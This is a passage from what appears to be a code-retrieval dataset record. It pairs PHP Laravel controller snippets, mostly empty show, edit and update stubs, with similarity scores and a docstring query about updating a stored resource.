Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "public function display(){}", "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }", "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "public function display() {\n echo $this->render();\n }", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }", "public function show($id)\n {\n //\n $this->_show($id);\n }", "public function show()\n\t{\n\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {}", "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}", "public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }", "public abstract function display();", "abstract public function resource($resource);", "public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show(Response $response)\n {\n //\n }", "public function show()\n {\n return auth()->user()->getResource();\n }", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}" ]
[ "0.8233718", "0.8190437", "0.6828712", "0.64986944", "0.6495974", "0.6469629", "0.6462615", "0.6363665", "0.6311607", "0.62817234", "0.6218966", "0.6189695", "0.61804265", "0.6171014", "0.61371076", "0.61207956", "0.61067593", "0.6105954", "0.6094066", "0.6082806", "0.6045245", "0.60389996", "0.6016584", "0.598783", "0.5961788", "0.59606946", "0.5954321", "0.59295714", "0.59182066", "0.5904556", "0.59036547", "0.59036547", "0.59036547", "0.5891874", "0.58688277", "0.5868107", "0.58676815", "0.5851883", "0.58144855", "0.58124036", "0.58112013", "0.5803467", "0.58012545", "0.5791527", "0.57901084", "0.5781528", "0.5779676", "0.5757105", "0.5756208", "0.57561266", "0.57453394", "0.57435393", "0.57422745", "0.5736634", "0.5736634", "0.5730559", "0.57259274", "0.5724891", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5718969", "0.5713412", "0.57091093", "0.5706405", "0.57057405", "0.5704541", "0.5704152", "0.57026845", "0.57026845", "0.56981397", "0.5693083", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962" ]
0.0
-1
Show the form for editing the specified resource.
public function edit(modelePreparation $modelePreparation) { return view('modelePreparation.edit',['modelePreparation'=>$modelePreparation, 'conditionnementLogistiques' => DB::table('conditionnement_logistiques')->select('id', 'code')->get(), ]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function edit()\n {\n return view('hirmvc::edit');\n }", "public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}", "public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }", "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }", "public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }", "private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }", "public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }", "public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}", "public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }", "public function edit($model, $form);", "function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}", "public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}", "public function edit(Form $form)\n {\n //\n }", "public function edit()\n { \n return view('admin.control.edit');\n }", "public function edit()\n {\n return view('common::edit');\n }", "public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\r\n {\r\n return view('petro::edit');\r\n }", "public function edit($id)\n {\n // show form edit user info\n }", "public function edit()\n {\n return view('escrow::edit');\n }", "public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }", "public function edit()\n {\n return view('commonmodule::edit');\n }", "public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}", "public function edit(form $form)\n {\n //\n }", "public function actionEdit($id) { }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('admincp::edit');\n }", "public function edit()\n {\n return view('scaffold::edit');\n }", "public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }", "public function edit()\n {\n return view('Person.edit');\n }", "public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }", "public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}", "public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }", "public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}", "public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }", "public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }", "public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }", "function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}", "public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "protected function _edit(){\n\t\treturn $this->_editForm();\n\t}", "public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }", "public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }", "public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}", "public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}", "public function edit($id)\n {\n return view('models::edit');\n }", "public function edit()\n {\n return view('home::edit');\n }", "public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }", "public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }", "public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }", "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('consultas::edit');\n }", "public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }", "public function edit()\n {\n return view('dashboard::edit');\n }", "public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }", "public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }", "public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }", "public function edit() {\n return view('routes::edit');\n }", "public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }", "public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }", "public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }", "public function edit($id)\n {\n return view('cataloguemodule::edit');\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }", "public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }", "public function edit()\n {\n return view('website::edit');\n }", "public function edit()\n {\n return view('inventory::edit');\n }", "public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }", "public function edit()\n {\n return view('initializer::edit');\n }", "public function edit($id)\n {\n return view('backend::edit');\n }", "public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }", "public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}", "public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }", "public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }", "public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}", "public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }", "public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }", "public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}" ]
[ "0.7855196", "0.76957726", "0.7273917", "0.7241426", "0.71717227", "0.7064183", "0.70528984", "0.69836885", "0.694763", "0.69469565", "0.6941572", "0.69301945", "0.6903868", "0.68989486", "0.68989486", "0.68787694", "0.68641657", "0.6860115", "0.6857286", "0.68464494", "0.6834566", "0.68116575", "0.68075293", "0.6805924", "0.6801357", "0.6796291", "0.67915684", "0.67915684", "0.67874014", "0.678544", "0.67787844", "0.6777662", "0.67675763", "0.676299", "0.6746726", "0.6745706", "0.67450166", "0.67450166", "0.6739429", "0.6734577", "0.6725992", "0.67127997", "0.6694406", "0.6692487", "0.6689421", "0.66884303", "0.6687299", "0.6685663", "0.6682167", "0.66701853", "0.66697115", "0.6666091", "0.6666091", "0.66627705", "0.6661716", "0.6661522", "0.6657919", "0.6656454", "0.6653187", "0.6642113", "0.66332614", "0.66324973", "0.66275465", "0.66275465", "0.6619777", "0.6619387", "0.6617973", "0.66154003", "0.66110945", "0.6607966", "0.66065043", "0.6596376", "0.65953517", "0.65941286", "0.6591486", "0.6590759", "0.6588404", "0.658161", "0.6580548", "0.6579757", "0.6577171", "0.65761065", "0.657386", "0.65686774", "0.6567784", "0.65672046", "0.6566417", "0.65615803", "0.65615714", "0.65615714", "0.65592474", "0.65586483", "0.65568006", "0.6556628", "0.65564895", "0.6555322", "0.65551996", "0.6555016", "0.654888", "0.65477645", "0.65451735" ]
0.0
-1
Update the specified resource in storage.
public function update(Request $request, modelePreparation $modelePreparation) { $modelePreparation->idConditionnementLogistique=$request->input('idConditionnementLogistique'); $modelePreparation->save(); $request->session()->flash('msg',"vous avez modifier les donnees de le modele de preparation d'id : $modelePreparation->id"); return redirect()->route('modelePreparation.index'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }", "public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }", "public function update(Request $request, Resource $resource)\n {\n //\n }", "public function updateStream($resource);", "public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }", "protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }", "public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }", "public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}", "public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }", "public function 